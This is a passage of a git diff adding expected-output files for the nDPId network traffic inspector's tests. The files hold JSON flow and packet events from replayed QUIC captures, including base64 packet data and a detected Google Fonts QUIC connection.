+02214{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_q50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388088,"pkt_ts_usec":914059,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAABAAH2tiCABFAAViAABAADkRR+K4l8Ht+JCBkwG7mSMFTr2UUxzWygZ9b3y06pi5ZYapHKY9BS8JU4g+mqRe2XZzTFm1pB5lfWD4XEQ7CJcjsxAxChd687DeKIyjyk8x3oKzISjX83CNRZ2vbT2MvVwtLGc0i1Pr2qw4lwUu3R+NukpnxEbkPw9S1L7aOa13Rma+gGROdnyg9svhMRF3QeBC7q0Jw4mZZs67C1I6Z26MbVM1LtlhVSp2M+rbXkNQye9P56NVO7HbEem2REGM5seHBGqn8VsW3GQjCsq2Lw6qQsGbiveQKXQ73zLxygzHcIokoYZTVRIj03xYRdzNKuo8hsweI8l4S7bqKbi+KCUAORr+9861zE2rjtIfrxPwyyYtMJS7aW285y5lzCY+y89px829pAI1NkK\/kdvLUSN0VEEb2xjpSd6k+wDeZtwhwvFMidXuywGxts9dBAdoYmNmsmOYDf2R6sEubPt5YdNg\/f9Qn+sKLmPdsT8MaT7jFhr0oikXVwDyx5RuSOhYKGYGa0TRPeI7TpWdjdu7Y1i9FNnfvDwM+pH1ppCnuxTiCegw2TMDM\/WGdxWlPzVQlKgef9bzDw1AbXurxxJUKTX9dfFDdbOVymxfUjb8AhWJq+D\/BUO9zpjJQ8gRlSFER4XBjT1z3Di5PZLqQYf2ba6ZPAZqvzDTbo5ZphRqWDBoaL6q+HhUlbOuS1zivy2kjcBzUFNCTj1EF1ZAHptW7qyiV4IIaRNjnpVyANDHxJ538a9SsEUZ71NyHEDff5qpuqEU51rmcZidjzJAL7AonqRT9T99WRSO+3+j4xG1ix9OhyMQsRCawrqs18KiMKpdXsy6SitTNJ5o\/FHZ53LmB4Qv10K2++vw7bLc4RwBgxI0vwJ3IW9xBymycm2RB4f5IeyvChCTttLoPF1dKGgHtVdqRfhrBT\/mOc4o8Emw0tFAz1ocvvx66xgq5VTKEdNsVQGssbLdigAipR22vNeHoB1Virf6gtstKFEQDAPcAzTJHa+LIczW3Y440fT45gCocVqjLQzpS5o8Hhfilo5Mlhx2MYXAkwzpwItCGR2I1DPHnfWGnRHUG4HE+JMuUmXOVRLvDb8WOGnyBzqFmSEWyFRtM2SFFmNVEs+QQe9MeJ7g5C4opxJAGvUgmPx9COj0xXRdhTJza9fGKdobpt3EpUOTPSd73VZg4po3aMwWxb5Jeo+FLm9eQwPX2FVxQf92EGQPA6MFlmCxJfGW8TAl5FCSgcjNNHVf2p9XXKvqWBffw6645FBEcnis0IRrnJ+vXQ32hg59+txLkKX+KSLOlt3PdoMYLBY+cXTFFFU8Va62mRPJ9v1gr5G09m1CPVyR8YugWtOCg78BBgwmV1RYYvJJ5msim0hzmV3RqlNUXjaJWOec4o6TY1EgFbPMV2qiC8J9n9yXV5YvI05g4IOlqR7S2iqZhqYULtEWR6ovIpNXnrZJpy2Yn\/zYXiZVZE023vTTnBDx95EA\/cI++FVV2wG2YR1sAc79D\/s1fSQWrDliG530wWJyVzvDWWaJdBia3evaJRW9JJCGGMr56q1SVQoUWgvS6eELCd9V8VJ8DagVQV+8H9sg54sHlzHBxIwDHfK7ROpezRnokDq\/bjW5ztu7Oy23WFbid9S0ThBecI\/8EO9dB1cBlHAkkL0IJ\/Zvli6tNzEeuTP2+1ak8ROcgatBAKEuuflz9JINeyMH7RyfTIP97\/S5ek7gGEfVidR2nCnTnx2F\/kKhg8Gktkb7QYhaPMw9DSXpeKWciUACqjiiTBlMTb1TtFFfwFRneqpdQT\/5mpXBhWm3GpWN2LqM+inieYBwNLFo39t6"} diff --git a/test/results/quic_t50.pcap.out b/test/results/quic_t50.pcap.out new file mode 100644 index 000000000..f5f7f7577 --- /dev/null +++ b/test/results/quic_t50.pcap.out @@ -0,0 +1,14 @@ +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_t50.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1598618820564,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"40.154.127.200","dst_ip":"166.240.188.209","src_port":49836,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02225{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":564956,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAQAMt+PCABFAAViUWNAAH8RmQMomn\/IpvC80cKsAbsFTtXAxVQwNTAIVV8y018p2GMAAEU0sFS4EDNRQxtqte6TPI+YvWd+9vuUhbcTQ2HBn9gQQ44SheCG4iJpKGLD8uMQU9W2hflEcgLE5fOUXsKA3b4MY34rhhWyrjNYzozZ6RzNmC3+PSlNh1B9BkCmgwrPckh0gBVa\/FiA4QpDKG9FfMxAAMJa6frV7fG1bb\/7HJhI3yISKMBJBm82DF0OyCTOye8nQRPUiVu4WsjVf6TJP0\/YCQn\/ynhi7Ht\/RBa3IPlCUHvLu303v9QUCibeTQUAguISRnIMNJe1C11ibh+BPlrVWXB5I4w7PGgaDw6mvx7JTybAMrs\/zdPmdFbLzWLaLw6FF+1T6Nf5pXJ9+kE9uEXZ6FzdZDD3MbdQ7S7fF3Xsf3z9uQukVNaW\/VEZbNqdIcOzSZA1HMEos1dDC\/4ViVIfMlO84vWzhZLxq5UvTT6qapu5oFarxgYku3nnVTzVM6SRRUR15vAoGmL3hQ542vEoyxzgRnslUtNtYNF9zlTPnOomXF1\/xSoJJI3VGlXy1gOwEOp28n6wdjsWOzKyE8z1XmBGehbXOUESC8A5oRtpkqOzQJ3g5+dnZdSYCvXi2BLHGA+OVhHokC0D92CqxGKl340PEFDaTPqzeKg+DdhCKEuu94iUqJwa\/EQr0++J\/bZoJuya3A6PiiCAsAWEfWiGB4RZfM+JuqUNIdd0StL9dWeEo7kVq9MAq9yKOBhBD0Nw0u3O6ttMqxfEm25kPEexKv+eLXlFhK9pi814az\/wL0\/CoLWlaMBTnRRk8oxhNZZKjX5cREBszdn5VN++4tz2T7E2jOZOFaOODo\/Wvb7BjuenE7CpgjdjsnLE4Tn\/b4Q53nG\/TvK7\/82EKBXRq\/c5PKnM+b1ENV06F0Dt6cGZ80l0g1EXbz82dUS02CP8vLgamNhFvRmwk0Fytrw6YCdOz2pD+8LecT3ig9EfNeixeZRd4tX0VxcyI5WVzzONGrmWIw1RUeauVQKVXpwzPZA8CukmFuSLsJh+\/5N5AhFjT6YZ08Cfg8mb95WTaUR4Gcz21+e\/jxcv3N2Ucmp36VwT1\/tIEgMyHmC7IWqDmGHm0zoua0BH1NJEIxpCFxOkgrdVfA\/bFJKqQIiWn39D6QQCV9IfFHR0w3Ji8IRmUv2cmzofCCCDXIb7a1RfNYDUaRs4NsKQeKcoYbyoDk1GAb6it6FoAhucYrDmI18nx\/aim5gBIWa2dZw8lcSNFxgWB30MqUt4DZOv8SxNPiLUt+4S7VsKdmL3e9VzPcuMiIPdcykCdDjJcCNMkqrWApVw+k3MVLOUeIU51nBJ5vetMjeccL3kies1jAjqR3odF77JuN1k7xA13AyJHglJBfA9SrQAab1XP78SnPFaTVPIBb4lI+7BBbWiXiUIWbr7QDQ2M+jaZ9aeFPMMv4QQg7YuadL5n0vNmHJxgYLgQVYZUg3g+jMQJiu4KLUJuhihq+lqjYmXeKGtNpGoS9t+klWnsjGnRn75HVlDegNERH7rMuzV5M2eSrUWRcByRHbj5kRkoY6s9x4THwi9YKFtPRSzpfXx6U8\/obpT4A56m9Dtlf0uhD38f9WkHLmiBpPtKg3V58sjjLsP3l91gyKwHDq9OPXkHBllrkj\/HjirESjdb1Tretiw6j18gO7a6gj9juTcUBG0eptAXXuJv2ZyrvtGzBo7DRc8B9KbYOIeUQf7UeOsamqbXhc1aNUt5qklsGe6OvEqu\/YEHpLYtQZ9LUddfbvcwZ\/RUIOT2ImtvT6yXQ32en9NmMy+OFHh52IUE4c2meqx38en"} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_t50.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1598618820564,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"40.154.127.200","dst_ip":"166.240.188.209","src_port":49836,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.GoogleServices","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"fonts.googleapis.com","user_agent":"Chrome\/85.0.4183.83 Windows NT 6.1; Win64; x64","version":"TLSv1.3","alpn":"h3-T050","ja3":"a2fc589336b7c13b674c1bab24655ce7","tls_supported_versions":"TLSv1.3"}} +02233{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":569890,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAEA4e3RCABFAAViAABAADURNGem8LzRKJp\/yAG7wqwFTn46zVQwNTAACFVfMtNfKdhjAEU02pBfi6Ak9u575XrmlbdyG1ag5OIwl7285v3Nxnsw8Lwoy4F9DNlx3pltRvpYv7yRLUAj2EQdI1b8uEmcdP9Lk6QJsvFQO42M\/PbvgSv5aSBR7ADIvkagSIwjp53htGhz\/zYlUUs1e4BKFzWrzHxpBrn3tRk9tC4MHf9tUO5P3B2MeVI3O66nSXCHk1RyPj9cinn3ZjxKtRBXyqmW3s3M2KBsk8zV1XjY13hb0PYC7j36RkDDGj0hoPOlaMR3xRkchF5ijLsbftoS8ZgSl8iT+6IMAemfyOo2vM1AInYx5h0uJCKtYT1HD9yjV1obFkm9JNNq\/Q3d32M9ltbArc4UQulBjQL30PaOFeS6\/NH6OpYAFWIaQylZhMpolrLLQtDKkYaJQK7fW\/adRXsSKcvSfS7LMOOa1iFP74PK9pOe2d+Kge3D10pHw5xvRBL5wIChQyBfmTPUKrK4rHXy82eTRRhTBKuJrbMv9T7XFHN5+H3chAvLWlrpV658DsehpWG\/heFld+bt39EMFPxrvugSLVNfbLvCnkIUyoImjdqvVj6Rx4k6hbJcFfYuU3ax\/j1wXJ1Aar7aVQydz+BiB9Fxk+eH\/qMFSF3ir3mKdIaHP3IUZOdgUkuG2UC5wWlc3438o4bvtGZ3nwifkZhkqJ0KdMIpJExGa\/AQl+d8cNAdSXLXM+DYjJis3nf2FGSiavtkGQ5gse3JeXrzKJFFtk6jcssK9h2Puqhq4IBMocJAfXnRMW\/OZ1jK+viEJjEu86fhopk0fDPB9DnWqNLuhKZbRPvi0CVdVKcq0vHFC\/pj2+NAI0Ops+2nN5yMrR4A6l\/8BcNYUJAtdstA\/Mmp+wdC\/G0p788zz8X\/NLPDa5WBeMhDBZktdXbl9oAq8mg52ggTdaTmm2jXqGKfzHqW5MClayMT0zXTwUHpjyayemAociOoR3pCM\/XoR3ULfnBs5UXukbBcD\/hcJKZpQZl3FeAMsaWvdZIbB62LlhdQiQ9E00tTktJnwHVhmpIGEmHx79qHujB4QnvSRf7rGMoi+J2+2yEf+pyZjFhJ7Vn0wek\/6YlXTjpXTJrPxdQiAfgtbMdrh0tGyM1aWelixaAL3fMRVQAbarGMmZNeVHObrG\/XRHUKe9QBmB0f2ucnxL\/Q5nZRz7iz\/WLt+LDVk7cJtCKxbiwTn6eNjrz\/eeO\/RDUWtAmn\/N2MrSP3BX63IBecgggeajGeDQeu0h0gzpQwmmr1W\/rYunSoqFFX5ouz8a\/O56eupxDBH4dlgKCLpB\/uNcGBsZbZn7D0MSdEq9sU+3rGh6ZCpDREqoFoM\/ePe6ZBwYyN5DfQ5S5xtM5Kx9nzgR0ma7na5nF+l+ByRUVDDcg+R6gDDtX7u7VAfvqTRqMCFrcyF0SqjD73Dx+5jJbDcuF3krsh5cUsmC3ty8BDoVGSf11axnldbf8\/lHSYOw4ulZJKq\/sTz5UxTVW5laCNJjqlY7Z8a7ZX\/gPYZni6DK3sKH\/pwfLD+eJvhi5gUZcI6y+TKOWHX3m7F7jI+o6kmuivTUhAHO0tp8eeKahEg274V6OXbr5gKp+A0ojgsX7ZyT\/qEOZyQW+ZVLpcoLdNi4viDD0P3Ti\/0+eMAJFCD83SXHZE7s3ktIEr1gJA+f8pz2foQ3UUo5VMFxosbOpW130fJlD\/iAqO7lnIbBAljSuAijWA4Tsc5zdOymoeY9QwWVkg13iiuc7J90lC+Sy8otpTVHsB262zMGncSESaXB5zznflxo7CBcJpN5BfwnB6hHSOc+uG"} +02229{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":678251,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAEA4e3RCABFAAViAABAADURNGem8LzRKJp\/yAG7wqwFTgvc71QwNTAACFVfMtNfKdhjRTVAGOq\/R1tSJ490cCgCIJtMuLgnF7hKWcwUWGCG1yeUQra8M2IbabEbv3t9rDs1mKoSxG0o1SwNZg+TYNjx60XPnxlQjdaPemBfWHhyIShS\/FwerrScOvQMg46Oklvwr2FyLIMnAlNL\/mWc7+8747IMQbAPr5vlwnAdmo2qfZtYMtdIW1xhXCBxR7JJFwiBMgxW++zHicn7moaT8\/+bDZ+HzEepJeBYrSVteiS0BK0n6cCyVowGk\/PbfkfkASgXD5BG61Cd+nr8Af7qfQdcKurj0yyrH5h1viElvy4SUonTnuNRTXgRmkWFI5Dx655anVNEDyyIA+LInCwiGE39JR+co6yzHCype7nL72Nq+jikfQUPfI883b5MrQ9rngGiZ8\/Xj8lYP\/QZ3\/ogby7k8+EqRcwwLdrKtF5JCPQHA47uMBlHe04rS8i00HZ6nSli4gEiz6jamp06cf0n39bZgvUQjAKf0ERdv971hRGdG0miD7H3QBKDkYd3jMMaCW0xLn2JbaBK1oc8XsPcVUeGlwQmCRwBHHJ8Zi5U2cVPlHrY4uUezGQwo3VZ3r5q95rt435Cj51jZ28FqxsNIE11PMXbcj4IXggGlyQVSDdlQV8ySpernoTOLJ7ESEF3t54ex\/kmX4c4cMPX9ddsiAY5den0AJP0\/NiKWL3LrUSrEOm8wr\/TSwK8v7YyoUXFr0q9WzgNo3XQrwUtAlQBmFb24DGYwbS+3XNGulanTnYpBrsb5c1rh0p91mAhQ\/rpURoxrNHqQru2XnDOVB85T41pLYZBM1fI2jpefgEQe9S28IEB\/1eLwrRuiU\/FIh6zJnowpUGRMkPEcli\/a9qk4i1KUhncByKhdd\/9ipm3FA0L0wwJh9k7FyhUMixNB17ijKhZ9gdil7oXiNMdx124Nmzbbk5lrjKivTcJ9RPINOAPRUQFR1RdL0N6Kq0CLXSzCDdZdLrY9En+mVKeYQj0xo\/jR18exhwt\/eRGfcgKxU3vj0n7pPV2efcnGnYI\/qnwevG1XcNdzUDvV4mVcXNvYEPxKSNdhD7Gpk6sGnaPSQTI2HNf0HmdlyCkLZSrpVeHOY4fveiP4Adr8M05Zxd0p3+8DcvQwP4QYKb2558+ox1mWrMBcDoH8rfM8Obyh3XuvPIl+jImNEF6BP6N3059LnOdatU9xWrsdLNJEgvG9u60Lk7nUNGZtXy46J65s6wF0c50NT+RmqoC2LZher4uoex39pj1K8V7kaJv3pcV1GjZn7eaJfrytSHHD08EAQGGAMIFMRg6nHfi8XeYIO3oF5hSYGXvUcdNd7WIgnidI\/Dzin6YMvkS0sgovzeBscolAktAP7weC3mq1LIaKYgNt2UsL8d9KL8\/n8B6R\/Yt81QFXYZf8g3+P4tPy\/kkSsNIfvswl3y0LDlhheLGqrpmqC8lIBGwv8YQXlaspfmVjHdirPP2SwJhDXPOI7i0j92jF26bcCvOi\/MymU9+Eb7WBD7jBktqD9MQhYDPOR1XZV0o4Os8ysZy\/WuU9JD6fru3jsr\/kKCqPguqlfF+W\/br9kviTd3\/eB4VY8p+7Zw2IhUhbAAnr8CvfrB2S\/TOapOVIXCtl3VT4kPt7qxNllSaLAB7HZ0kifbilO2MEKf7JHrUnpsA6AJyeHwuLS7wsXBPwyB\/OuLAVAq7ZLX3Aej45laD+jKQmWnX35iCvC2Lk0iNpz0KaPylARDD4R6xtjFuUiuuiD+\/VDor8Z42laVln8rezBVKWbgIJ0+RzyJkUTKFz9D8WmujYRQ1"} +02222{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":678307,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAEA4e3RCABFAAViAABAADURNGem8LzRKJp\/yAG7wqwFTsI14VQwNTAACFVfMtNfKdhjRTV+TZdrbCv33x6iH690PyehJilsagoNTR5bonnLL0dBgoMc3YX6O7TqPoYEmBQhBo9qpBXyGoeAWGhcJFKsYDc7\/u4ZX2hLTAloQ+a\/pdH22A8suHezIhbLeb5134q2RA5HFoZzTMTZSBCIhgTstv9PXQCwumfychHJYHs0Ft6yq7RAocqUEq1\/LWFpsGhK1ImBcJ8BnDM5dxDKgRMGlmxspqHoB9\/LPeslqcwLzWl9OQB\/VcpU8C8sGBntQaRgPwf94pa0UqHMz\/2obpKwKjbwwgbEskSQbqBuFooA5L9rz6S2jrVdw6PE85FWIxp4KWk1jQusgYQi5jN8GLyCPIvXHA53qb7OcsTkg4Ww7b64NWwW9ifQuXd+Gqe+UisPjifLIntlpGXlYNIY7BnAWTPSpwUdXy6Qtqrk8X\/ruvgOsv6aDjOLl4Ge8zEim8Amf5sqpEA8LJyB8Sv5O66dtJK+I50u7YFLUA7h\/tgVP1iPhpJTEnCH16DKyMXZFkbh9DilxI7c0pOAZLYJr48QuJox4RoLFZ9lMTvsKjVku\/fWAMDXEQvaFNwvlBvlnQb9JbaVASSjOzlsBofk50BdO9mypm2dSeER4kNd6Y3YDYqrbu2dewaFT5S3EXYNt0lT5NZS8OaF9O08WAiSZmR5vmuAfuLO1zLgGQ1Euwq86NKKfd7X3h+4ViguppZQrMcNF2YojGrt5MMBgpSYR9Hb3pj7xTb0uSkVCu72ZrfL98amuFAUy7Fx+treVOyYo3k4jCPb2dH2G7olLbbzBoDbI3iNF6Ekqomn+sjkEDznbOBqf5f+SFEITZLVshGDkaECMNIlb08WSbhHUCFxGcOQ3UPyKpjOEVlwdNr04Te9hF0D8k4p+KIgi1A+waaYVHLFETZeT8YPT8ZDHf6kMrYR4r7+vw1sGIhuXD7dlP3xV7QBWhPLWn09Zzf+Fjtn\/rGO7M7jIytdlLNCA7WWcqkE38zytO4rGXwn4Db\/WD3qNvU2vCguVZQJh7TYQjHrvQ1m\/kei6U2kUJxRU9pZY4RgTao34mbxevGfXtL4ZcIwdhIqpGsExlSBqASylYBW8VtVsRikCdpzuCR29+fKrJ5GQKsbKq67MSom7g1SPuKRUVpcCxxtEonsShqkNxNzZ\/KxLmT8v5MWSqqjE373M3Qtz+UlarcxgwlqXMcKkepFzis88I4xRmO9NUhDQaOshdj35UPLk\/InvvlEsTluejP7p5FAbc8LG6s0arB0tweHuxaedQ3ZSCoivRmpoiifHNeSVAt5G5yOhX3uHflkqbYAvXXJvJz\/9ghC6SZTst4VCRHHiBQrVKQogZkzh\/ykPsgutAYqQ0MMye7j5zhBayUaElfmpZhnfHZOgPfYCxTTc\/RtMexJr3LPcYh5ge32zWBwHlWorfSgmJcAhbebG7\/n9y6h\/ty\/9E6FoWOluyMMDQ7gv2jL3WXLU+cqEBJmMDsz\/0XHB8yjYAMFXAREmTS0tJ32G3QTeLJYyzJ7BvLKslWQtK1WmiJD+z\/wfOk5auh4iSdzg1KQ669g2tPVS4uwbx16g0jlqJL3MH78oeMHfTePuvb550Dwg8s3yCO8hnNoYt3ZDALl0JQkpBdmXoMEdlyv12lpf7U0iRGf\/4pr0CE0SG8rDso+ecL+ggGjpdwPWgfQ8nk+lOeLsTXddVYv03OgnFqwhUvd21zzUyTUY4mKGWFoQ1WIUFHdZw7rjCzG6mB\/mAXdXyriXrRQk3wIAGulMvV8xiE03NCdGQQ5kPv7nYJRK7sO"} +00842{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":678362,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAEA4e3RCABFAAFmAABAADUROGOm8LzRKJp\/yAG7wqwBUiB24FQwNTAACFVfMtNfKdhjQTkel0q94ZItOeKbj6OxbcFJoQQVaZZak0Bh1BLF\/\/NZ4vK9O0\/Iy6KVVmpDncSZrSRwHvcZHSWbwZiCstsEDdWrPtcbInQbWLg22euJTVfuU5XsciFULUWeQPLAOQqZdm4TGL1RYGogRCrzgy1YIhzTA\/sljiH\/YgFkGkv55prkYaQZ0L3X+SHIw3ScFYOOfEaTKZ9UZsO3Pvc\/FFafyEjWlGZWGLfwpFNh2DMcKPiZNzTcUxqJpYEehuKjdd3uPDmJPzfrMlq9RlSvd1c7GpiMmPJM7M1+8CxZcfUFGSEw4zxFM4YKu39AIJ8LU\/VWvgMbS5kedIXCxCBRacLcGxpZA9djAjOLWYiPP6gwUSpIvz7Pr2cVDzE29sJajeCR2+5l7nzkQtdzjYwH+dxZXr47q1lihmuSWcEW"} +02227{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":743273,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAQAMt+PCABFAAViUWVAAH8RmQEomn\/IpvC80cKsAbsFTgQ8yVQwNTAIVV8y018p2GMAAEU0tKbG9TqPyUnh17\/4VzzFc1+LW9gcSZ\/alCvN4Rn5P85K8nRiZZvmLtEe4JHw59+6+YLwxUOMtQnTOSB2dJ9MOaxHGgqt7H20SvCNySTWziIZFNwAGtT7q9FZfoL1zA6TCiU44VEzhHptVvu5MYK\/RkV1rjTjpsU0U47pV5umGRCbikv2CtrLG3SjwtO7rJp6KKDMYh2E4uq5bwlhWAdeW7HUFQHEPg6QE4gNONCRQtZ+UjAH0PwZxWLUoWmDhKOv8N6RcmuncQ+x6qAalQV9iJ8fwWhJ+6zrHNluj18T5v0+E4LRTt08yk1h766jirR0m18HYJ+bzmuzNVxqKH0dTSHpTjKDzDV7GE6UAjOgS1NCdLGpF24McCStpsznky+JlUmaKRSLzaYG+i8AKu3Xf8uFADaSLjS4PYP\/bjGSolRcd\/E6HPEdTXCBblIWj4BafTZoWvfKYxGlYSS+LSBq1k1Up+V\/khfMqDWqE1Qre+Dr\/EHQ0S6O7patAkQsk82Fd4cStIB643hadPDVKGsyaOZrVi1OaBsOsLDzBEu0PgdFTw6SCXhiRAvuat9MEDwTXYu\/+vZZk\/QXHBGnL\/EABcJhw4c8dTVrHlLnJAFLbAF3ifeMqrJimm\/06\/yfZlqNhVKPrtNqCKDgjClGMIT\/qOTSXoIxhXwBgN5iiBJA8YWSxDv0aVDf7RLBs+D+3V6r9ncXGYjXIuz0AJYC7CxP7b8ytMU7Ld77kdF++fSJ2YNa+r6wFi\/w04TOH86UEwifzvIkv7NARW664E\/FJ9JO9JMHy5fylvg9P\/n90L+NcrL5M9x4jUnLav2ltcvJ4oWws2XjKNJoX3Xxt5aJw7qt16k454WVxg75V15cKjdWArUIGbk4rP\/QpAW+62hkDcAhve\/zpooCjQai3i3oOSRE9v\/atXpOVuLkdxTHwgaxJGFzUO0bUrqX88bFY\/wGwSAzyJr2OOcTbjEQ5glWLB4aNoVoROn9sAOwSAuWBeAr5ewXlmb2dNOF\/Oid+qjKrGGo+jv1u5+RjETtLz\/\/HfDRsOabHqqS7yoz5h4AsHdtrtit6qsEwV7rDnQKACI5LLVtOpvRJqKC\/Ew1e2yzvdrr6dwf7xC9mESdqml+wgTMANl7PruMWr+kmNk306O4Y3waSpqNqIdFqZnSqkeSoxMIxKRq1JmZwQwo257VMb91bOwWE0AF9gy37kK5am3bVDC+AJKnRtw6aUB02mvlhMeA4uhNg15YuxgtiSjDTtz0yTCKkM\/3B0DKcXgGAxlB2XllBEsZWbMEjyCAG9r0HQtzXH9sLMHVYbR2tyjRYUQXnCbJGWg7gGi\/OJbeQgKpp4gnjjMAp27SNmv6XIgfAHnpWpTClta2U+NETz1bwA0zmTjHDSzAqzVxcx2v\/ysin0Bk+8v5Wf2KvpEfyJA6kxmRuJEe6lT9bpkZWu13QhV2MKYdBiG1\/PnkOCCE2Lk4dwkiXJ4zG7IOGomfpZcujlQPssVq475lDyGrxSc6u4SCa\/yeR53wGru6yPi4GePZcl8cVgfmGCDHTTC2rG+XFtMyM9z7Wolc1gV1pt6q6mo++7h7pfwAJZT+W87MxqbHst4VJU9ToiWeBH6g0O8Qq7iJuK3CKDHsIBrJEcgdMdHiYVgJjuGfFAXTfxVA8M3lsZMLOvXqTYG9i3Anq3pd5mEn9NQqm9Lj4QubECnAqKa9qfmOVNwFhsMPTGsLz690gXC5nhO6H0fdxmlo9vGrzUvwuSPw4MqoDc2RopXxMZGJ4fxuS309"} +00449{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":801206,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAAAAAAAQAMt+PCABFAABFUWdAAH8Rnhwomn\/IpvC80cKsAbsAMbR+5VQwNTAIVV8y018p2GMAQBgWn7XLlY\/MBqqxlL7IueYHcN6x8N7X0YI="} +00448{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":809343,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAAAAAAAQAMt+PCABFAABFUWhAAH8Rnhsomn\/IpvC80cKsAbsAMR3d6VQwNTAIVV8y018p2GMAQBilVbNC+3iMfh61B0UQ47z0a4SEwfKk2aI="} +00503{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":810236,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"AAAAAAAAAAQAMt+PCABFAABrUWlAAH8RnfQomn\/IpvC80cKsAbsAV39w4FQwNTAIVV8y018p2GMAQD7kH3pewuuzUo\/OFt0GnFO16txKcnrRkY0vUJv+Y9c0kwE0Rc5XIrmHxEDK0BKZamSfPpMufUvfmMm2GpJe+Q=="} +00431{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":814997,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AAAAAAAAAAEA4e3RCABFAAA2AABAADUROZOm8LzRKJp\/yAG7wqwAIp3EV0N37QF7+ve9GD8kIKkK\/eEyjXLMkZGC0Rg="} 